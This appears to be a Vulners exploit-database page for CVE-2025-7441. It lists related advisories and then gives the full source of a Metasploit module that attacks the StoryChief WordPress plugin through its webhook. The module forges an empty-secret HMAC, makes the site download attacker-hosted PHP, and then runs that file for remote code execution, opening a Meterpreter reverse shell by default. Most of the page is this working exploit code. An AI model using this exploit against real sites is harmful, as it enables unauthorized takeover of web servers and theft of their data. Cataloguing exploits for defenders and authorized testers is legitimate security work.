| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| Mephisto | 21 May 202605:06 | – | githubexploit | |
| Exploit for CVE-2025-7441 | 7 Oct 202512:12 | – | githubexploit | |
| Exploit for CVE-2025-7441 | 14 Oct 202508:16 | – | githubexploit | |
| CVE-2025-7441 | 29 Aug 202521:02 | – | circl | |
| WordPress plugin StoryChief 代码问题漏洞 | 16 Aug 202500:00 | – | cnnvd | |
| WordPress Plugin StoryChief File Upload Vulnerability | 20 Aug 202500:00 | – | cnvd | |
| CVE-2025-7441 | 16 Aug 202503:38 | – | cve | |
| CVE-2025-7441 StoryChief <= 1.0.42 - Unauthenticated Arbitrary File Upload | 16 Aug 202503:38 | – | cvelist | |
| StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload | 26 Aug 202500:00 | – | exploitdb | |
| EUVD-2025-25062 | 3 Oct 202520:07 | – | euvd |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress StoryChief Plugin Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload
vulnerability in the StoryChief WordPress plugin <= 1.0.42.
The plugin exposes a webhook endpoint at
/wp-json/storychief/webhook which accepts a forged HMAC.
Because the plugin uses an empty secret for HMAC validation,
attackers can compute a valid MAC and force WordPress to
download and store attacker-controlled PHP content inside
the uploads directory, resulting in remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'xpl0dec', # Original PoC
'Nayera' # Metasploit module
],
'References' => [
['CVE', '2025-7441'],
['EDB', '52422'],
['URL', 'https://github.com/Story-Chief/wordpress']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
['Automatic Target', {}]
],
'DisclosureDate' => '2025-08-04',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'WfsDelay' => 15
},
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to WordPress', '/'])
])
end
#
# Check Method
#
def check
return CheckCode::Safe('WordPress not detected') unless wordpress_and_online?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief')
)
unless res && res.code == 200
return CheckCode::Safe('StoryChief REST namespace not found')
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
'ctype' => 'application/json',
'data' => '{"meta":{"mac":"","event":"publish"},"data":{}}'
)
return CheckCode::Unknown('No response from webhook endpoint') unless res
return CheckCode::Appears('StoryChief webhook endpoint reachable and likely vulnerable') if res.code != 404
CheckCode::Safe('Webhook endpoint returned 404. The plugin may not be installed, permalinks may not be configured, or the target is not vulnerable.')
end
#
# Serve malicious PHP payload
#
def on_request_uri(cli, _req)
print_good("Serving malicious payload to #{cli.peerhost}")
php_payload = payload.encoded
send_response(
cli,
php_payload,
'Content-Type' => 'image/jpeg'
)
close_client(cli)
end
#
# Generate JSON body + HMAC
#
def generate_signed_body(remote_url)
body_hash = {
'meta' => {
'event' => 'publish'
},
'data' => {
'featured_image' => {
'data' => {
'sizes' => {
'full' => remote_url
}
}
}
}
}
json_body = JSON.generate(body_hash).gsub('/', '\\/')
signature = OpenSSL::HMAC.hexdigest('sha256', '', json_body)
body_hash['meta']['mac'] = signature
JSON.generate(body_hash)
end
#
# Attempt to trigger uploaded shell
#
def trigger_shell(filename)
now = Time.now
upload_path = normalize_uri(
target_uri.path,
'wp-content',
'uploads',
now.year.to_s,
format('%02d', now.month),
filename
)
print_status("Attempting to execute uploaded payload at #{upload_path}")
res = send_request_cgi(
'method' => 'GET',
'uri' => upload_path
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Uploaded payload did not return HTTP 200, execution likely failed')
end
end
#
# Main Exploit
#
def exploit
payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
register_file_for_cleanup(payload_name)
print_status('Starting local HTTP server for payload hosting')
start_service(
'Uri' => {
'Path' => "/#{payload_name}",
'Proc' => proc { |cli, req| on_request_uri(cli, req) }
}
)
payload_url = "#{get_uri.chomp('/')}/#{payload_name}"
print_status("Payload URL: #{payload_url}")
request_body = generate_signed_body(payload_url)
print_status('Sending malicious webhook request')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
'ctype' => 'application/json',
'data' => request_body
)
fail_with(Failure::Unreachable, 'No response from target') unless res
unless res.code == 200 && res.body.include?('permalink')
fail_with(Failure::UnexpectedReply, "Unexpected response (#{res.code})")
end
print_good('Webhook accepted payload — attempting execution')
trigger_shell(payload_name)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation